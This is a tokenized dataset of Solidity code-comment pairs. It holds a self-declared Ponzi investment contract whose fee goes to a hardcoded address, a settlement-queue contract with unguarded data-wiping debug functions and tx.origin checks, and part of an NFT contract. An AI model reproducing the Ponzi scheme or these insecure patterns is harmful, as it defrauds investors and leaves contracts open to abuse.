[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 12, 203, 3639, 2254, 5034, 389, 9853, 2148, 16, 203, 3639, 467, 654, 39, 3462, 389, 9953, 1345, 16, 203, 3639, 1426, 389, 1918, 1891, 203, 565, 262, 1071, 1338, 5541, 288, 203, 3639, 389, 1289, 24899, 9853, 2148, 16, 389, 9953, 1345, 16, 389, 1918, 1891, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.4.22 <0.6.0; contract FiveForty { // "FiveForty" investment contract // 5% daily up to 200% of invest // 10% marketing fee // 5% reward to referrer and refferal (need to have invest) // // Send ETH to make an invest // Send 0 ETH to payout // Recomended GAS LIMIT - 150 000 // // ***WARNING*** // It's a "Ponzi scheme", you can lose your etherium // You need to send payout request EVERY 24 HOURS // Contract supports >0 transactions to payout, you can send up to 999 WEI to send payout request using ToAddress for *; mapping (address => uint256) invested; // records amounts invested mapping (address => uint256) lastPaymentBlock; // records blocks at which last payment were made mapping (address => uint256) dailyPayment; // records estimated daily payment mapping (address => uint256) totalPaid; // records total paid address payable constant fundAddress = 0x27FE767C1da8a69731c64F15d6Ee98eE8af62E72; // marketing fund address function () external payable { if (msg.value >= 1000) { // receiving function fundAddress.transfer(msg.value / 10); // sending marketing fee if (invested[msg.sender] == 0) {lastPaymentBlock[msg.sender] = block.number;} // starting timer of payments (once for address) invested[msg.sender] += msg.value; // calculating all invests from address address refAddress = msg.data.toAddr(); if (invested[refAddress] != 0 && refAddress != msg.sender) { invested[refAddress] += msg.value/20; } // Referral bonus adds only to investors invested[msg.sender] += msg.value/20; // Referral reward dailyPayment[msg.sender] = (invested[msg.sender] * 2 - totalPaid[msg.sender]) / 40; // calculating amount of daily payment (5% of invest) } else { // Payment function if (invested[msg.sender] * 2 > totalPaid[msg.sender] && // max profit = invest*2 block.number - lastPaymentBlock[msg.sender] > 5900) { // 24 hours from last payout totalPaid[msg.sender] += dailyPayment[msg.sender]; // calculating all payouts address payable sender = msg.sender; sender.transfer(dailyPayment[msg.sender]); // sending daily profit } } } } library ToAddress { function toAddr(bytes memory source) internal pure returns(address payable addr) { assembly { addr := mload(add(source,0x14)) } return addr; } }
sending marketing fee
fundAddress.transfer(msg.value / 10);
6,376,773
[ 1, 87, 2846, 13667, 310, 14036, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 284, 1074, 1887, 18, 13866, 12, 3576, 18, 1132, 342, 1728, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "./Owned.sol"; import "./SGDz.sol"; import "./StashFactory.sol"; import "./Bank.sol"; contract GridlockQueue is Owned {// Regulator node (MAS) should be the owner function GridlockQueue() { owner = msg.sender; agentState = AgentState.Normal; /* default config */ maxQueueDepth = 100; timeout = 10 * 1000000000; /* seconds */ proofTimeout = 20 * 1000000000; /* seconds */ } StashFactory public sf; SGDz public sgdz; Bank public bank; function setExternalContracts(address _sf, address _sgdz, address _bank) onlyOwner { sf = StashFactory(_sf); sgdz = SGDz(_sgdz); bank = Bank(_bank); } /* payments */ modifier isPositive(int _amount) {if (_amount <= 0) throw; _;} modifier isInvoled(bytes32 _sender, bytes32 _receiver) { if (!checkOwnedStash(_sender) && !checkOwnedStash(_receiver)) throw; _; } // Pending: waiting for value transfer in z-contract, or waiting as receiver, or waiting // for gridlock resolution procecss to finished // Confirmed: value transfer in z-contract is completed // Gridlocked: gridlocked payments //UBIN-61 : added Canceled state, UBIN-63/64 - put on hold status- Laks enum PmtState {Pending, Confirmed, Onhold, Cancelled} struct Pmt { bytes32 txRef; bytes32 sender; bytes32 receiver; int amount; // > 0 PmtState state; int express; bool putInQueue; uint timestamp; // added to include sorting in API layer - Laks bytes16 salt; } uint public expressCount; bytes32[] public pmtIdx; // @private (list of all-trans) mapping(bytes32 => Pmt) public payments; // @private function getSalt(bytes32 _txRef) view returns (bytes16) { return payments[_txRef].salt; } function getOutgoingQueueDepth(bytes32 _sender) view returns (uint) { uint result = 0; for (uint i = 0; i < gridlockQueue.length; ++i) { if (payments[gridlockQueue[i]].sender == _sender) { result++; } } return result; } //uint public inactivationTracker; //RH - omit cancel and hold from queue bytes32[] public onholdPmts; function getOnholdCount() view returns (uint) { return onholdPmts.length; } function getOnholdPmtDetails(uint index) view returns (bytes32, bytes32, bytes32, int, PmtState, int, bool, uint){ bytes32 txRef = onholdPmts[index]; return (txRef, payments[txRef].sender, payments[txRef].receiver, payments[txRef].amount, payments[txRef].state, payments[txRef].express, payments[txRef].putInQueue, payments[txRef].timestamp); } function getPaymentAmount(bytes32 _txRef) view returns (int) { require(checkOwnedStash(payments[_txRef].sender) || checkOwnedStash(payments[_txRef].receiver)); return payments[_txRef].amount; } bytes32[] public gridlockQueue; // @private /* gridlock resolution facilities */ enum GridlockState {Cancelled, Inactive, Active, Onhold, Released} struct GridlockedPmt { GridlockState state; bool receiverVote; // for receiver to indicate whether inactivation is acceptable } // key should be pmt sha3 hash. But currently txRef is used // to globaqueue after checking queue. uint public globalGridlockQueueDepth; mapping(bytes32 => GridlockedPmt) public globalGridlockQueue; uint public maxQueueDepth; // queue depth trigger /* resolve sequence */ address[] public resolveSequence; // order of banks for round-robin in resolution steps uint public current; // current resolving bank modifier onlySender(bytes32 _txRef) {require(bank._getStash(tx.origin) == payments[_txRef].sender); _;} modifier onlyTxParties(bytes32 _txRef) {require(bank._getStash(tx.origin) == payments[_txRef].sender || bank._getStash(tx.origin) == payments[_txRef].receiver); _;} modifier onlyReceiver(bytes32 _txRef) {require(bank._getStash(tx.origin) == payments[_txRef].receiver); _;} modifier isYourTurn() {if (resolveSequence[current] != msg.sender) throw; _;} /* state machine */ uint lineOpenTime; // time when the first participant is in line uint public lastResolveTime; // time when the last participant did the resolve round uint public timeout; // wait time for participants to line up uint public proofTimeout; uint resolveEndTime; // time when the current the resolve round finishes function setTimeout(uint _timeout) onlyOwner { timeout = _timeout; } enum AgentState {Normal, Lineopen, Resolving, Settling} AgentState public agentState; modifier atState(AgentState _state) {if (agentState != _state) throw; _;} event AgentStateChange(AgentState state); function nextState() internal { if (agentState == AgentState.Normal) globalGridlockQueueDepth = 0; if (agentState == AgentState.Lineopen) {lineOpenTime = 0; lastResolveTime = now;} if (agentState == AgentState.Resolving) {current = 0; resolveEndTime = now;} if (agentState == AgentState.Settling) resolveSequence.length = 0; agentState = AgentState((uint(agentState) + 1) % 4); AgentStateChange(agentState); } // Note that this modifier is only added to resolution method, so if nobody // has started to resolve then one can still join even if time's up. mapping(address => uint) lastPingTime; event Ping(uint delta, uint _timeout); function ping() { lastPingTime[msg.sender] = now; Ping(now - lastResolveTime, timeout); } modifier timedTransitions() { if (agentState == AgentState.Lineopen) { if (resolveSequence.length == sf.getStashNameCount() || now >= lineOpenTime + timeout) { nextState(); } } /* Non-lenient timeout kick-out rule */ int delta = getMyResolveSequenceId() - int(current); uint resolveTimeout; if (delta >= 0) { resolveTimeout = timeout * uint(delta); } else { resolveTimeout = timeout * (uint(delta) + resolveSequence.length); } if (lastResolveTime == 0) lastResolveTime = now; if (agentState == AgentState.Resolving && lastResolveTime + resolveTimeout <= lastPingTime[msg.sender] && lastPingTime[msg.sender] > lastPingTime[resolveSequence[current]]) { for (uint i = current; i < resolveSequence.length - 1; i++) { resolveSequence[i] = resolveSequence[i + 1]; } delete resolveSequence[resolveSequence.length - 1]; resolveSequence.length--; } _; /* if (agentState == AgentState.Resolving && */ /* lastResolveTime + timeout <= now) { */ /* for (uint i = current; i < resolveSequence.length-1; i++) { */ /* resolveSequence[i] = resolveSequence[i+1]; */ /* } */ /* delete resolveSequence[resolveSequence.length-1]; */ /* resolveSequence.length--; */ /* } */ /* _; */ } /* Sync Messaging */ mapping(bytes32 => bool) public done; bytes32[] inactivatedPmtRefs; bytes32[] doneStashes; bytes32[] notDoneStashes; bool committed; function arrayEqual(bytes32[] a, bytes32[] b) returns (bool) { if (a.length != b.length) return false; for (uint i = 0; i < a.length; i++) { if (a[i] != b[i]) return false; } return true; } modifier hasCommitted(bytes32[] _inactivatedPmtRefs, bytes32[] _doneStashes, bytes32[] _notDoneStashes) { if (checkOwnedStash(bank._getStash(resolveSequence[current])) && !(bank._getStash(resolveSequence[current]) != bank.centralBank() && isCentralBankNode())) { if (!committed) throw; else committed = false; if (checkOwnedStash(bank._getStash(resolveSequence[current]))) { if (!arrayEqual(_inactivatedPmtRefs, inactivatedPmtRefs)) throw; if (!arrayEqual(_doneStashes, doneStashes)) throw; if (!arrayEqual(_notDoneStashes, notDoneStashes)) throw; } } _; } /* @live: privateFor = MAS and participating node In sender node, if the account has enough liquidity the payment would be in status pending until the corresponding payment is made in the z-contract, else the payment is copyed into the gridlock */ // timestamp is created onchain now - Zekun event Payment(bytes32 txRef, bool gridlocked, bool confirmPmt); function submitPmt(string _txRef, string _sender, string _receiver, int _amount, int _express, bool _putInQueue, string _salt) { return _submitPmt(stringToBytes32(_txRef), stringToBytes32(_sender), stringToBytes32(_receiver), _amount, _express, _putInQueue, stringToBytes16(_salt)); } function _submitPmt(bytes32 _txRef, bytes32 _sender, bytes32 _receiver, int _amount, int _express, bool _putInQueue, bytes16 _salt) isPositive(_amount) isInvoled(_sender, _receiver) // notSuspended(_sender) // notSuspended(_receiver) { //JMR Pmt memory pmt = Pmt(_txRef, _sender, _receiver, _amount, PmtState.Pending, _express, _putInQueue, now, _salt); pmtIdx.push(_txRef); payments[_txRef] = pmt; //update positions sf.updatePosition(_sender, _receiver, _amount); if (_putInQueue) { if (checkOwnedStash(_sender)) { enqueue(_txRef, _express); } Payment(_txRef, true, false); } else { // enough balance (with LSM liquidity partition) if (checkOwnedStash(_sender) && sf.getBalanceByOwner(_sender) >= _amount) { if (getOutgoingQueueDepth(_sender) < 1 || (_express == 1 && expressCount < 1)) {//no queue //express and no express queue Payment(_txRef, false, false); } else {//queue but enough balance enqueue(_txRef, _express); // put in end of queue Payment(_txRef, true, false); } } else if (checkOwnedStash(_sender)) {// if not enough balance all goes to queue enqueue(_txRef, _express); Payment(_txRef, true, false); } } } /////////////////////////////////////////////////////////////////// /* UBIN-153 insert into queue based on priority level */ function enqueue(bytes32 _txRef, int _express) internal { if (_express == 0) { gridlockQueue.push(_txRef); } else if (_express == 1) { // todo: can potentially use the updateGridlockQueue func if (gridlockQueue.length == expressCount) {// all express payment gridlockQueue.push(_txRef); } else { gridlockQueue.push(gridlockQueue[gridlockQueue.length - 1]); for (uint i = gridlockQueue.length - 1; i > expressCount; i--) { gridlockQueue[i] = gridlockQueue[i - 1]; } gridlockQueue[expressCount] = _txRef; } expressCount++; } } function isReceiver(bytes32 txRef) private returns (bool) { for (uint i = 0; i < pmtIdx.length; i++) { //find matching payment index. if (pmtIdx[i] == txRef) { // N.B. only MAS will control both sender and receiver stash if (checkOwnedStash(payments[pmtIdx[i]].receiver) && !checkOwnedStash(payments[pmtIdx[i]].sender)) { return true; } } } return false; } function isNettingParticipant() view returns (bool) { bytes32 myStashName = getOwnedStash(); for (uint i = 0; i < resolveSequence.length; ++i) { if (myStashName == bank._getStash(resolveSequence[i])) return true; } return false; } function checkOwnedStash(bytes32 _stashName) view private returns(bool){ return sf.checkOwnedStash(_stashName, msg.sender); } function getOwnedStash() view returns (bytes32) { if (isCentralBankNode()) return bank.centralBank(); return sf.getOwnedStash(); } // Central bank controls all the stashes function isCentralBankNode() view returns (bool) { return sf.isCentralBankNode(); } function getThreshold() view returns (uint) { return maxQueueDepth; } function setThreshold(uint _threshold) onlyOwner { maxQueueDepth = _threshold; } function getAgentState() view returns (uint) { if (agentState == AgentState.Normal) { return 0; } else if (agentState == AgentState.Lineopen) { return 1; } else if (agentState == AgentState.Resolving) { return 2; } else if (agentState == AgentState.Settling) { return 3; } } function getResolveSequence() view returns (address[]) { return resolveSequence; } function getResolveSequenceLength() view returns (uint) { return resolveSequence.length; } function getCurrentStash() view returns (bytes32) { return bank._getStash(resolveSequence[current]); } function getMyResolveSequenceId() view returns (int) { for (uint i = 0; i < resolveSequence.length; i++) { if (resolveSequence[i] == tx.origin) return int(i); } return - 1; } function getActiveGridlockCount() view returns (uint) { uint result = 0; for (uint i = 0; i < gridlockQueue.length - 1; i++) { Pmt pmt = payments[gridlockQueue[i]]; GridlockedPmt g_pmt = globalGridlockQueue[pmt.txRef]; /* to be changed */ if (g_pmt.state == GridlockState.Active) result++; } return result; } function getHistoryLength() view returns (uint) { return pmtIdx.length; } function getGridlockQueueDepth() view returns (uint) { return gridlockQueue.length; } function getGlobalGridlockQueueDepth() view returns (uint) { return globalGridlockQueueDepth; } //util functions- added for debug and testing/// //not to be used by app. ////////////////////// //Only use from debug and testing scripts/////// function clearQueue() { for (uint i = 0; i < gridlockQueue.length; i++) { delete globalGridlockQueue[gridlockQueue[i]]; } globalGridlockQueueDepth = 0; gridlockQueue.length = 0; onholdPmts.length = 0; expressCount = 0; } function wipeout() { clearQueue(); for (uint i = 0; i < pmtIdx.length; i++) { delete payments[pmtIdx[i]]; } pmtIdx.length = 0; agentState = AgentState.Normal; sf.clear(); bank.clear(); resolveSequence.length = 0; current = 0; } }
all express payment
if (gridlockQueue.length == expressCount) {
14,123,223
[ 1, 454, 16947, 5184, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 309, 261, 5222, 739, 3183, 18, 2469, 422, 16947, 1380, 13, 288, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // ChargedState.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IChargedState.sol"; import "./lib/Bitwise.sol"; import "./lib/TokenInfo.sol"; import "./lib/RelayRecipient.sol"; import "./lib/BlackholePrevention.sol"; /** * @notice Charged Particles Settings Contract */ contract ChargedState is IChargedState, Ownable, RelayRecipient, BlackholePrevention { using SafeMath for uint256; using TokenInfo for address; using Bitwise for uint32; // NftState - actionPerms uint32 constant internal PERM_RESTRICT_ENERGIZE_FROM_ALL = 1; // NFTs that have Restrictions on Energize uint32 constant internal PERM_ALLOW_DISCHARGE_FROM_ALL = 2; // NFTs that allow Discharge by anyone uint32 constant internal PERM_ALLOW_RELEASE_FROM_ALL = 4; // NFTs that allow Release by anyone uint32 constant internal PERM_RESTRICT_BOND_FROM_ALL = 8; // NFTs that have Restrictions on Covalent Bonds uint32 constant internal PERM_ALLOW_BREAK_BOND_FROM_ALL = 16; // NFTs that allow Breaking Covalent Bonds by anyone struct NftTimelock { uint256 unlockBlock; address lockedBy; } struct NftState { uint32 actionPerms; NftTimelock dischargeTimelock; NftTimelock releaseTimelock; NftTimelock breakBondTimelock; uint256 tempLockExpiry; mapping (address => address) dischargeApproval; mapping (address => address) releaseApproval; mapping (address => address) breakBondApproval; mapping (address => address) timelockApproval; } IChargedSettings internal _chargedSettings; // State of individual NFTs (by Token UUID) mapping (uint256 => NftState) internal _nftState; /***********************************| | Public | |__________________________________*/ function getDischargeTimelockExpiry(address contractAddress, uint256 tokenId) external view virtual override returns (uint256 lockExpiry) { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); if (_nftState[tokenUuid].dischargeTimelock.unlockBlock > block.number) { lockExpiry = _nftState[tokenUuid].dischargeTimelock.unlockBlock; } if (_nftState[tokenUuid].tempLockExpiry > block.number && _nftState[tokenUuid].tempLockExpiry > lockExpiry) { lockExpiry = _nftState[tokenUuid].tempLockExpiry; } } function getReleaseTimelockExpiry(address contractAddress, uint256 tokenId) external view virtual override returns (uint256 lockExpiry) { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); if (_nftState[tokenUuid].releaseTimelock.unlockBlock > block.number) { lockExpiry = _nftState[tokenUuid].releaseTimelock.unlockBlock; } if (_nftState[tokenUuid].tempLockExpiry > block.number && _nftState[tokenUuid].tempLockExpiry > lockExpiry) { lockExpiry = _nftState[tokenUuid].tempLockExpiry; } } function getBreakBondTimelockExpiry(address contractAddress, uint256 tokenId) external view virtual override returns (uint256 lockExpiry) { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); if (_nftState[tokenUuid].breakBondTimelock.unlockBlock > block.number) { lockExpiry = _nftState[tokenUuid].breakBondTimelock.unlockBlock; } if (_nftState[tokenUuid].tempLockExpiry > block.number && _nftState[tokenUuid].tempLockExpiry > lockExpiry) { lockExpiry = _nftState[tokenUuid].tempLockExpiry; } } /// @notice Checks if an operator is allowed to Discharge a specific Token /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param operator The Address of the operator to check /// @return True if the operator is Approved function isApprovedForDischarge(address contractAddress, uint256 tokenId, address operator) external virtual override view returns (bool) { return _isApprovedForDischarge(contractAddress, tokenId, operator); } /// @notice Checks if an operator is allowed to Release a specific Token /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param operator The Address of the operator to check /// @return True if the operator is Approved function isApprovedForRelease(address contractAddress, uint256 tokenId, address operator) external virtual override view returns (bool) { return _isApprovedForRelease(contractAddress, tokenId, operator); } /// @notice Checks if an operator is allowed to Break Covalent Bonds on a specific Token /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param operator The Address of the operator to check /// @return True if the operator is Approved function isApprovedForBreakBond(address contractAddress, uint256 tokenId, address operator) external virtual override view returns (bool) { return _isApprovedForBreakBond(contractAddress, tokenId, operator); } /// @notice Checks if an operator is allowed to Timelock a specific Token /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param operator The Address of the operator to check /// @return True if the operator is Approved function isApprovedForTimelock(address contractAddress, uint256 tokenId, address operator) external virtual override view returns (bool) { return _isApprovedForTimelock(contractAddress, tokenId, operator); } function isEnergizeRestricted(address contractAddress, uint256 tokenId) external virtual override view returns (bool) { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); return _nftState[tokenUuid].actionPerms.hasBit(PERM_RESTRICT_ENERGIZE_FROM_ALL); } function isCovalentBondRestricted(address contractAddress, uint256 tokenId) external virtual override view returns (bool) { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); return _nftState[tokenUuid].actionPerms.hasBit(PERM_RESTRICT_BOND_FROM_ALL); } function getDischargeState(address contractAddress, uint256 tokenId, address sender) external view virtual override returns ( bool allowFromAll, bool isApproved, uint256 timelock, uint256 tempLockExpiry ) { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); allowFromAll = _nftState[tokenUuid].actionPerms.hasBit(PERM_ALLOW_DISCHARGE_FROM_ALL); isApproved = _isApprovedForDischarge(contractAddress, tokenId, sender); timelock = _nftState[tokenUuid].dischargeTimelock.unlockBlock; tempLockExpiry = _nftState[tokenUuid].tempLockExpiry; } function getReleaseState(address contractAddress, uint256 tokenId, address sender) external view virtual override returns ( bool allowFromAll, bool isApproved, uint256 timelock, uint256 tempLockExpiry ) { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); allowFromAll = _nftState[tokenUuid].actionPerms.hasBit(PERM_ALLOW_RELEASE_FROM_ALL); isApproved = _isApprovedForRelease(contractAddress, tokenId, sender); timelock = _nftState[tokenUuid].releaseTimelock.unlockBlock; tempLockExpiry = _nftState[tokenUuid].tempLockExpiry; } function getBreakBondState(address contractAddress, uint256 tokenId, address sender) external view virtual override returns ( bool allowFromAll, bool isApproved, uint256 timelock, uint256 tempLockExpiry ) { uint256 tokenUuid = contractAddress.getTokenUUID(tokenId); allowFromAll = _nftState[tokenUuid].actionPerms.hasBit(PERM_ALLOW_BREAK_BOND_FROM_ALL); isApproved = _isApprovedForBreakBond(contractAddress, tokenId, sender); timelock = _nftState[tokenUuid].breakBondTimelock.unlockBlock; tempLockExpiry = _nftState[tokenUuid].tempLockExpiry; } /***********************************| | Only NFT Owner/Operator | |__________________________________*/ /// @notice Sets an Operator as Approved to Discharge a specific Token /// This allows an operator to withdraw the interest-portion only /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param operator The Address of the Operator to Approve function setDischargeApproval( address contractAddress, uint256 tokenId, address operator ) external virtual override onlyErc721OwnerOrOperator(contractAddress, tokenId, _msgSender()) { address tokenOwner = contractAddress.getTokenOwner(tokenId); require(operator != tokenOwner, "CP:E-106"); _setDischargeApproval(contractAddress, tokenId, tokenOwner, operator); } /// @notice Sets an Operator as Approved to Release a specific Token /// This allows an operator to withdraw the principal + interest /// @param contractAddress The Address to the Contract of the Token /// @param tokenId The ID of the Token /// @param operator The 